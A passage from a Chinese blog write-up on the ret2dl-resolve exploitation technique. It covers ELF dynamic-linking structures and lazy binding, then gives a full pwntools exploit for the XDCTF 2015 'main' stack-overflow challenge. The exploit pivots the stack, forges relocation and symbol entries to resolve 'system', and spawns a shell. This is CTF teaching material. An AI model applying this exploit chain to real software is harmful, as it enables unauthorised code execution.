class="line">────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────</span><br><span class="line"> EAX  0x804850b ◂— ja     0x8048572 /* <span class="string">'welcome\n'</span> */</span><br><span class="line"> EBX  0x804a000 —▸ 0x8049f14 ◂— 0x1</span><br><span class="line"> ECX  0x804b160 ◂— <span class="string">'\nello Pwn\n'</span></span><br><span class="line"> EDX  0xf7fac890 (_IO_stdfile_1_lock) ◂— 0x0</span><br><span class="line"> EDI  0x0</span><br><span class="line"> ESI  0xf7fab000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d4d6c</span><br><span class="line"> EBP  0xffffd128 ◂— 0x0</span><br><span class="line"> ESP  0xffffd10c —▸ 0x8048461 ◂— add    esp, 0x10</span><br><span class="line"> EIP  0x80482e0 (puts@plt) ◂— jmp    dword ptr [0x804a00c]</span><br><span class="line">──────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────</span><br><span class="line"> ► 0x80482e0  &lt;puts@plt&gt;    jmp    dword ptr [0x804a00c] &lt;0xf7e3d250&gt;</span><br><span class="line">    ↓</span><br><span class="line">   0xf7e3d250 &lt;puts&gt;        push   ebp</span><br><span class="line">   0xf7e3d251 &lt;puts+1&gt;      mov    ebp, esp</span><br><span class="line">   0xf7e3d253 &lt;puts+3&gt;      push   edi</span><br><span class="line">   0xf7e3d254 &lt;puts+4&gt;      push   esi</span><br><span class="line">   0xf7e3d255 &lt;puts+5&gt;      push   ebx</span><br><span class="line">   0xf7e3d256 &lt;puts+6&gt;      call   __x86.get_pc_thunk.di &lt;0xf7f0ad7d&gt;</span><br><span class="line"> </span><br><span class="line">   0xf7e3d25b &lt;puts+11&gt;     add    edi, 0x16dda5</span><br><span class="line">   0xf7e3d261 &lt;puts+17&gt;     sub    esp, 0x28</span><br><span class="line">   0xf7e3d264 &lt;puts+20&gt;     push   dword ptr [ebp + 8]</span><br><span class="line">   0xf7e3d267 &lt;puts+23&gt;     call   __strlen_ia32 &lt;0xf7e6e630&gt;</span><br><span class="line">──────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────</span><br><span class="line">00:0000│ esp  0xffffd10c —▸ 0x8048461 ◂— add    esp, 0x10</span><br><span class="line">01:0004│      0xffffd110 —▸ 0x804850b ◂— ja     0x8048572 /* <span class="string">'welcome\n'</span> */</span><br><span class="line">02:0008│      0xffffd114 —▸ 0xffffd1d4 —▸ 0xffffd385 ◂— <span class="string">'/home/thunder/Desktop/CTF/pwn/ret2dl-resolve/a.out'</span></span><br><span class="line">03:000c│      0xffffd118 —▸ 0xffffd1dc —▸ 0xffffd3b8 ◂— <span class="string">'QT_DBL_CLICK_DIST=15'</span></span><br><span class="line">04:0010│      0xffffd11c —▸ 0x804843a ◂— add    ebx, 0x1bc6</span><br><span class="line">05:0014│      0xffffd120 —▸ 0xffffd140 ◂— 0x1</span><br><span class="line">06:0018│      0xffffd124 ◂— 0x0</span><br><span class="line">... ↓</span><br><span class="line">────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────</span><br><span class="line"> ► f 0  80482e0 puts@plt</span><br><span class="line">   f 1  8048461</span><br><span class="line">   f 2 f7deee81 __libc_start_main+241</span><br><span class="line">Breakpoint *0x80482e0</span><br></pre></td></tr></table></figure><p>可以发现，0x80482e6这个地址，并不直接是libc的puts函数的地址。这是因为linux在程序加载时使用了延迟绑定(lazy<br>load)，只有等到这个函数被调用了，才去把这个函数在libc的地址放到GOT表中。接下来，会再push一个0，再push一个dword ptr [0x804a004]，待会会说这两个参数是什么意思，最后跳到libc的_dl_runtime_resolve去执行。这个函数的目的，是根据2个参数获取到导出函数（这里是puts）的地址，然后放到相应的GOT表，并且调用它。而这个函数的地址也是从GOT表取并且jmp [xxx]过去的，但是这个函数不会延迟绑定，因为所有函数都是用它做的延迟绑定。而第二次调用puts函数则直接指向puts函数的地址，懂得了上面的东西，我们还需要知道一些结构体，类比PE文件的一些结构，用来索引一些结构。</p><p><strong>.dynamic</strong></p><p>dynamic结构包含了一些关于动态链接的关键信息，我们只需要关注<code>DT_STRTAB</code>, <code>DT_SYMTAB</code>, <code>DT_JMPREL</code>这三个字段，这三个东西分别包含了指向<code>.dynstr</code>, <code>.dynsym</code>, <code>.rel.plt</code>这3个section的指针</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">LOAD:08049F14                   ; ELF Dynamic Information</span><br><span class="line">LOAD:08049F14                   ; ===========================================================================</span><br><span class="line">LOAD:08049F14</span><br><span class="line">LOAD:08049F14                   ; Segment type: Pure data</span><br><span class="line">LOAD:08049F14                   ; Segment permissions: Read/Write</span><br><span class="line">LOAD:08049F14                   LOAD segment mempage public &apos;DATA&apos; use32</span><br><span class="line">LOAD:08049F14                   assume cs:LOAD</span><br><span class="line">LOAD:08049F14 01 00 00 00 01 00+stru_8049F14 Elf32_Dyn &lt;1, &lt;1&gt;&gt;</span><br><span class="line">LOAD:08049F14 00 00                                           ; DATA XREF: LOAD:080480BC↑o</span><br><span class="line">LOAD:08049F14                                                 ; .got.plt:0804A000↓o</span><br><span class="line">LOAD:08049F14                                                 ; DT_NEEDED libc.so.6</span><br><span class="line">LOAD:08049F1C 0C 00 00 00 A8 82+Elf32_Dyn &lt;0Ch, &lt;80482A8h&gt;&gt;   ; DT_INIT</span><br><span class="line">LOAD:08049F24 0D 00 00 00 D4 84+Elf32_Dyn &lt;0Dh, &lt;80484D4h&gt;&gt;   ; DT_FINI</span><br><span class="line">LOAD:08049F2C 19 00 00 00 0C 9F+Elf32_Dyn &lt;19h, &lt;8049F0Ch&gt;&gt;   ; DT_INIT_ARRAY</span><br><span class="line">LOAD:08049F34 1B 00 00 00 04 00+Elf32_Dyn &lt;1Bh, &lt;4&gt;&gt;          ; DT_INIT_ARRAYSZ</span><br><span class="line">LOAD:08049F3C 1A 00 00 00 10 9F+Elf32_Dyn &lt;1Ah, &lt;8049F10h&gt;&gt;   ; DT_FINI_ARRAY</span><br><span class="line">LOAD:08049F44 1C 00 00 00 04 00+Elf32_Dyn &lt;1Ch, &lt;4&gt;&gt;          ; DT_FINI_ARRAYSZ</span><br><span class="line">LOAD:08049F4C F5 FE FF 6F AC 81+Elf32_Dyn &lt;6FFFFEF5h, &lt;80481ACh&gt;&gt; ; DT_GNU_HASH</span><br><span class="line">LOAD:08049F54 05 00 00 00 1C 82+Elf32_Dyn &lt;5, &lt;804821Ch&gt;&gt;     ; DT_STRTAB</span><br><span class="line">LOAD:08049F5C 06 00 00 00 CC 81+Elf32_Dyn &lt;6, &lt;80481CCh&gt;&gt;     ; DT_SYMTAB</span><br><span class="line">LOAD:08049F64 0A 00 00 00 4A 00+Elf32_Dyn &lt;0Ah, &lt;4Ah&gt;&gt;        ; DT_STRSZ</span><br><span class="line">LOAD:08049F6C 0B 00 00 00 10 00+Elf32_Dyn &lt;0Bh, &lt;10h&gt;&gt;        ; DT_SYMENT</span><br><span class="line">LOAD:08049F74 15 00 00 00 00 00+Elf32_Dyn &lt;15h, &lt;0&gt;&gt;          ; DT_DEBUG</span><br><span class="line">LOAD:08049F7C 03 00 00 00 00 A0+Elf32_Dyn &lt;3, &lt;804A000h&gt;&gt;     ; DT_PLTGOT</span><br><span class="line">LOAD:08049F84 02 00 00 00 10 00+Elf32_Dyn &lt;2, &lt;10h&gt;&gt;          ; DT_PLTRELSZ</span><br><span class="line">LOAD:08049F8C 14 00 00 00 11 00+Elf32_Dyn &lt;14h, &lt;11h&gt;&gt;        ; DT_PLTREL</span><br><span class="line">LOAD:08049F94 17 00 00 00 98 82+Elf32_Dyn &lt;17h, &lt;8048298h&gt;&gt;   ; DT_JMPREL</span><br><span class="line">LOAD:08049F9C 11 00 00 00 90 82+Elf32_Dyn &lt;11h, &lt;8048290h&gt;&gt;   ; DT_REL</span><br><span class="line">LOAD:08049FA4 12 00 00 00 08 00+Elf32_Dyn &lt;12h, &lt;8&gt;&gt;          ; DT_RELSZ</span><br><span class="line">LOAD:08049FAC 13 00 00 00 08 00+Elf32_Dyn &lt;13h, &lt;8&gt;&gt;          ; DT_RELENT</span><br><span class="line">LOAD:08049FB4 FE FF FF 6F 70 82+Elf32_Dyn &lt;6FFFFFFEh, &lt;8048270h&gt;&gt; ; DT_VERNEED</span><br><span class="line">LOAD:08049FBC FF FF FF 6F 01 00+Elf32_Dyn &lt;6FFFFFFFh, &lt;1&gt;&gt;    ; DT_VERNEEDNUM</span><br><span class="line">LOAD:08049FC4 F0 FF FF 6F 66 82+Elf32_Dyn &lt;6FFFFFF0h, &lt;8048266h&gt;&gt; ; DT_VERSYM</span><br><span class="line">LOAD:08049FCC 00 00 00 00 00 00+Elf32_Dyn &lt;0&gt;                 ; DT_NULL</span><br></pre></td></tr></table></figure><p><strong>.dynstr</strong></p><p>.dynstr是一个字符串表，index[0]的地方永远是0，然后后面是动态链接所需的字符串，以0结尾，包括导入函数名，比方说这里很明显有个puts。到时候，相关数据结构引用一个字符串时，用的是相对这个section头的偏移，比方说，在这里，就是字符串相对0x804821C的偏移。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">LOAD:0804821C                   ; ELF String Table</span><br><span class="line">LOAD:0804821C 00                byte_804821C db 0             ; DATA XREF: LOAD:080481DC↑o</span><br><span class="line">LOAD:0804821C                                                 ; LOAD:080481EC↑o</span><br><span class="line">LOAD:0804821C                                                 ; LOAD:080481FC↑o</span><br><span class="line">LOAD:0804821C                                                 ; LOAD:0804820C↑o</span><br><span class="line">LOAD:0804821D 6C 69 62 63 2E 73+aLibcSo6 db &apos;libc.so.6&apos;,0</span><br><span class="line">LOAD:08048227 5F 49 4F 5F 73 74+aIoStdinUsed db &apos;_IO_stdin_used&apos;,0</span><br><span class="line">LOAD:08048227 64 69 6E 5F 75 73+                              ; DATA XREF: LOAD:0804820C↑o</span><br><span class="line">LOAD:08048236 70 75 74 73 00    aPuts db &apos;puts&apos;,0             ; DATA XREF: LOAD:080481DC↑o</span><br><span class="line">LOAD:0804823B 5F 5F 6C 69 62 63+aLibcStartMain db &apos;__libc_start_main&apos;,0</span><br><span class="line">LOAD:0804823B 5F 73 74 61 72 74+                              ; DATA XREF: LOAD:080481FC↑o</span><br><span class="line">LOAD:0804824D 47 4C 49 42 43 5F+aGlibc20 db &apos;GLIBC_2.0&apos;,0</span><br><span class="line">LOAD:08048257 5F 5F 67 6D 6F 6E+aGmonStart db &apos;__gmon_start__&apos;,0</span><br><span class="line">LOAD:08048257 5F 73 74 61 72 74+                              ; DATA XREF: LOAD:080481EC↑o</span><br></pre></td></tr></table></figure><p><strong>.dynsym</strong></p><p>结构如下，这是一个符号表（结构体数组），里面记录了各种符号的信息，每个结构体对应一个符号。我们这里只关心函数符号，比如puts函数。结构体定义如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  Elf32_Word    st_name; <span class="comment">//符号名，是相对.dynstr起始的偏移，这种引用字符串的方式在前面说过了</span></span><br><span class="line">  Elf32_Addr    st_value;</span><br><span class="line">  Elf32_Word    st_size;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">char</span> st_info; <span class="comment">//对于导入函数符号而言，它是0x12</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">char</span> st_other;</span><br><span class="line">  Elf32_Section st_shndx;</span><br><span class="line">&#125;Elf32_Sym; <span class="comment">//对于导入函数符号而言，其他字段都是0</span></span><br></pre></td></tr></table></figure><p>在IDA中显示如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">LOAD:080481CC                   ; ELF Symbol Table</span><br><span class="line">LOAD:080481CC 00 00 00 00 00 00+Elf32_Sym &lt;0&gt;</span><br><span class="line">LOAD:080481DC 1A 00 00 00 00 00+Elf32_Sym &lt;offset aPuts - offset byte_804821C, 0, 0, 12h, 0, 0&gt; ; &quot;puts&quot;</span><br><span class="line">LOAD:080481EC 3B 00 00 00 00 00+Elf32_Sym &lt;offset aGmonStart - offset byte_804821C, 0, 0, 20h, 0, 0&gt; ; &quot;__gmon_start__&quot;</span><br><span class="line">LOAD:080481FC 1F 00 00 00 00 00+Elf32_Sym &lt;offset aLibcStartMain - offset byte_804821C, 0, 0, 12h, 0, 0&gt; ; &quot;__libc_start_main&quot;</span><br><span class="line">LOAD:0804820C 0B 00 00 00 EC 84+Elf32_Sym &lt;offset aIoStdinUsed - offset byte_804821C, offset _IO_stdin_used, 4, 11h, 0, 10h&gt; ; &quot;_IO_stdin_used&quot;</span><br></pre></td></tr></table></figure><p><strong>.rel.plt</strong></p><p>这里是重定位表（不过跟windows那个重定位表概念不同），也是一个结构体数组，每个项对应一个导入函数。结构体定义如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  Elf32_Addr    r_offset; <span class="comment">//指向GOT表的指针</span></span><br><span class="line">  Elf32_Word    r_info; <span class="comment">//重定位入口的类型和符号</span></span><br><span class="line">&#125; Elf32_Rel;</span><br></pre></td></tr></table></figure><p>在IDA中显示如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">LOAD:08048298                   ; ELF JMPREL Relocation Table</span><br><span class="line">LOAD:08048298 0C A0 04 08 07 01+Elf32_Rel &lt;804A00Ch, 107h&gt;    ; R_386_JMP_SLOT puts</span><br><span class="line">LOAD:080482A0 10 A0 04 08 07 03+Elf32_Rel &lt;804A010h, 307h&gt;    ; R_386_JMP_SLOT __libc_start_main</span><br><span class="line">LOAD:080482A0 00 00             LOAD ends</span><br></pre></td></tr></table></figure><p>上面的结构体看起来也挺迷糊人的，我只是根据一位大佬的文章总结过来的，下面才是我们需要清楚的关键函数 _dl_runtime_resolve(link_map_obj, reloc_index) ，源码可以在<a href="https://ftp.gnu.org/gnu/glibc/" target="_blank" rel="noopener">这里</a>下载。</p><p>_dl_runtime_resolve函数运行模式如下：</p><ol><li>用link_map访问.dynamic，取出.dynstr, .dynsym, .rel.plt的指针</li><li>.rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针，记作rel</li><li>rel-&gt;r_info &gt;&gt; 8作为.dynsym的下标，求出当前函数的符号表项Elf32_Sym的指针，记作sym</li><li>.dynstr + sym-&gt;st_name得出符号名字符串指针</li><li>在动态链接库查找这个函数的地址，并且把地址赋值给*rel-&gt;r_offset，即GOT表</li><li>调用这个函数</li></ol><p>利用方法主要是伪造rel.plt表和symtab表，并且修改reloc_index，让重定位函数解析我们伪造的结构体，借此修改符号解析的位置，对于一些字段的获取，我们可以用objdump来寻找，如下图</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ objdump -s -j .rel.plt ./main</span><br><span class="line"></span><br><span class="line">./main：     文件格式 elf32-i386</span><br><span class="line"></span><br><span class="line">Contents of section .rel.plt:</span><br><span class="line"> 8048330 0ca00408 07010000 10a00408 07020000  ................</span><br><span class="line"> 8048340 14a00408 07040000 18a00408 07050000  ................</span><br><span class="line"> 8048350 1ca00408 07060000                    ........        </span><br><span class="line">thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ objdump -s -j .dynsym ./main</span><br><span class="line"></span><br><span class="line">./main：     文件格式 elf32-i386</span><br><span class="line"></span><br><span class="line">Contents of section .dynsym:</span><br><span class="line"> 80481d8 00000000 00000000 00000000 00000000  ................</span><br><span class="line"> 80481e8 33000000 00000000 00000000 12000000  3...............</span><br><span class="line"> 80481f8 27000000 00000000 00000000 12000000  <span class="string">'...............</span></span><br><span class="line"><span class="string"> 8048208 52000000 00000000 00000000 20000000  R........... ...</span></span><br><span class="line"><span class="string"> 8048218 20000000 00000000 00000000 12000000   ...............</span></span><br><span class="line"><span class="string"> 8048228 3a000000 00000000 00000000 12000000  :...............</span></span><br><span class="line"><span class="string"> 8048238 4c000000 00000000 00000000 12000000  L...............</span></span><br><span class="line"><span class="string"> 8048248 2c000000 44a00408 04000000 11001a00  ,...D...........</span></span><br><span class="line"><span class="string"> 8048258 0b000000 3c860408 04000000 11001000  ....&lt;...........</span></span><br><span class="line"><span class="string"> 8048268 1a000000 40a00408 04000000 11001a00  ....@...........</span></span><br><span class="line"><span class="string">thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ objdump -s -j .dynstr ./main</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">./main：     文件格式 elf32-i386</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Contents of section .dynstr:</span></span><br><span class="line"><span class="string"> 8048278 006c6962 632e736f 2e36005f 494f5f73  .libc.so.6._IO_s</span></span><br><span class="line"><span class="string"> 8048288 7464696e 5f757365 64007374 64696e00  tdin_used.stdin.</span></span><br><span class="line"><span class="string"> 8048298 7374726c 656e0072 65616400 7374646f  strlen.read.stdo</span></span><br><span class="line"><span class="string"> 80482a8 75740073 65746275 66005f5f 6c696263  ut.setbuf.__libc</span></span><br><span class="line"><span class="string"> 80482b8 5f737461 72745f6d 61696e00 77726974  _start_main.writ</span></span><br><span class="line"><span class="string"> 80482c8 65005f5f 676d6f6e 5f737461 72745f5f  e.__gmon_start__</span></span><br><span class="line"><span class="string"> 80482d8 00474c49 42435f32 2e3000             .GLIBC_2.0.</span></span><br></pre></td></tr></table></figure><h3 id="0x01：例子"><a href="#0x01：例子" class="headerlink" title="0x01：例子"></a>0x01：例子</h3><p><a href="https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2dlresolve/XDCTF-2015/main" target="_blank" rel="noopener">题目链接</a></p><p>首先检查保护机制</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ checksec main</span><br><span class="line">[*] <span class="string">'/home/thunder/Desktop/CTF/pwn/ret2dl-resolve/main'</span></span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br></pre></td></tr></table></figure><p><strong>main</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> __<span class="function">cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">size_t</span> v3; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">4</span>]; <span class="comment">// [esp+0h] [ebp-6Ch]</span></span><br><span class="line">  <span class="keyword">char</span> v6; <span class="comment">// [esp+18h] [ebp-54h]</span></span><br><span class="line">  <span class="keyword">int</span> *v7; <span class="comment">// [esp+64h] [ebp-8h]</span></span><br><span class="line"></span><br><span class="line">  v7 = &amp;argc;</span><br><span class="line">  <span class="built_in">strcpy</span>(buf, <span class="string">"Welcome to XDCTF2015~!\n"</span>);</span><br><span class="line">  <span class="built_in">memset</span>(&amp;v6, <span class="number">0</span>, <span class="number">0x4C</span>u);</span><br><span class="line">  setbuf(<span class="built_in">stdout</span>, buf);</span><br><span class="line">  v3 = <span class="built_in">strlen</span>(buf);</span><br><span class="line">  write(<span class="number">1</span>, buf, v3);</span><br><span class="line">  vuln();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>vuln</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">ssize_t</span> vuln()</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">char</span> buf; <span class="comment">// [esp+Ch] [ebp-6Ch]</span></span><br><span class="line"></span><br><span class="line">  setbuf(<span class="built_in">stdin</span>, &amp;buf);</span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, &amp;buf, <span class="number">0x100</span>u);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>题目思路非常清晰，read函数存在栈溢出，但是没有libc，ROPgadget也很少，这里就可以考虑ret2dl-resolve，我们先将栈转移到bss段，然后构造结构体，实现对system函数的解析，然后getshell</p><p>第一处payload负责栈转移，将eip覆盖为.rel.plt地址，传递一个可控的rel_offset，使rel_entry落在可控区域</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">payload = <span class="string">'a'</span>*<span class="number">108</span> + p32(bss_addr - <span class="number">20</span>) + p32(elf.plt[<span class="string">'read'</span>]) + p32(leave_ret) + p32(<span class="number">0</span>) + p32(bss_addr - <span class="number">20</span>) + p32(<span class="number">0x50</span>)</span><br></pre></td></tr></table></figure><p>第二处的payload负责伪造rel_entry使sym_entry落在可控区域，伪造sym_entry使sym_name为‘system’</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">payload2 = p32(<span class="number">0x0</span>) <span class="comment"># pop ebp, 随便设反正不用了</span></span><br><span class="line">payload2 += p32(DYN_RESOL_PLT) <span class="comment"># resolve的PLT，就是前面说的push link_map那个位置</span></span><br><span class="line">payload2 += p32(FAKE_REL_OFF) <span class="comment"># 伪造的重定位表OFFSET</span></span><br><span class="line">payload2 += p32(<span class="number">0xdeadbeef</span>) <span class="comment"># 返回地址</span></span><br><span class="line">payload2 += p32(bin_sh) <span class="comment"># 参数'/bin/sh'</span></span><br><span class="line">payload2 += fake_rel_plt + fake_dynsym + fake_dynstr</span><br></pre></td></tr></table></figure><p><strong>exp</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">r = process(<span class="string">'./main'</span>)</span><br><span class="line">elf = ELF(<span class="string">'./main'</span>)</span><br><span class="line"><span class="comment">#r = remote("",)</span></span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line"></span><br><span class="line">context.terminal = [<span class="string">'deepin-terminal'</span>, <span class="string">'-x'</span>, <span class="string">'sh'</span> ,<span class="string">'-c'</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> args.G:</span><br><span class="line">    gdb.attach(r)</span><br><span class="line"></span><br><span class="line">rel_plt_addr = elf.get_section_by_name(<span class="string">'.rel.plt'</span>).header.sh_addr</span><br><span class="line">dynsym_addr = elf.get_section_by_name(<span class="string">'.dynsym'</span>).header.sh_addr</span><br><span class="line">dynstr_addr = elf.get_section_by_name(<span class="string">'.dynstr'</span>).header.sh_addr</span><br><span class="line"></span><br><span class="line">bss_addr = <span class="number">0x804a300</span> <span class="comment"># readelf -S main =&gt; .bss</span></span><br><span class="line">DYN_RESOL_PLT = <span class="number">0x8048380</span> <span class="comment"># readelf -S main =&gt; .plt</span></span><br><span class="line">leave_ret = <span class="number">0x08048458</span> <span class="comment"># ROPgadget --binary main --only "leave|ret"</span></span><br><span class="line"></span><br><span class="line">fake_rel_plt_addr = bss_addr</span><br><span class="line">fake_dynsym_addr = fake_rel_plt_addr + <span class="number">0x8</span></span><br><span class="line">fake_dynstr_addr = fake_dynsym_addr + <span class="number">0x10</span></span><br><span class="line">bin_sh = fake_dynstr_addr + <span class="number">0x7</span></span><br><span class="line"></span><br><span class="line">FAKE_REL_OFF = fake_rel_plt_addr - rel_plt_addr</span><br><span class="line">r_info = (((fake_dynsym_addr - dynsym_addr)/<span class="number">0x10</span>) &lt;&lt; <span class="number">8</span>) + <span class="number">0x7</span></span><br><span class="line">str_off = fake_dynstr_addr - dynstr_addr</span><br><span class="line"></span><br><span class="line">payload = <span class="string">'a'</span>*<span class="number">108</span> + p32(bss_addr - <span class="number">20</span>) + p32(elf.plt[<span class="string">'read'</span>]) + p32(leave_ret) + p32(<span class="number">0</span>) + p32(bss_addr - <span class="number">20</span>) + p32(<span class="number">0x50</span>)</span><br><span class="line"></span><br><span class="line">r.recvuntil(<span class="string">'!\n'</span>)</span><br><span class="line">r.sendline(payload) <span class="comment"># stack immigration</span></span><br><span class="line"></span><br><span class="line">fake_rel_plt = p32(elf.got[<span class="string">'read'</span>])+p32(r_info)</span><br><span class="line">fake_dynsym = p32(str_off) + p32(<span class="number">0</span>) + p32(<span class="number">0</span>) + p32(<span class="number">0x12000000</span>)</span><br><span class="line">fake_dynstr = <span class="string">"system\x00/bin/sh\x00\x00"</span></span><br><span class="line"></span><br><span class="line">payload2 = p32(<span class="number">0x0</span>) + p32(DYN_RESOL_PLT) + p32(FAKE_REL_OFF) + p32(<span class="number">0xdeadbeef</span>) + p32(bin_sh) + fake_rel_plt + fake_dynsym + fake_dynstr</span><br><span class="line"></span><br><span class="line">r.sendline(payload2) <span class="comment"># construct a fake structure</span></span><br><span class="line"></span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><h3 id="0x02：总结"><a href="#0x02：总结" class="headerlink" 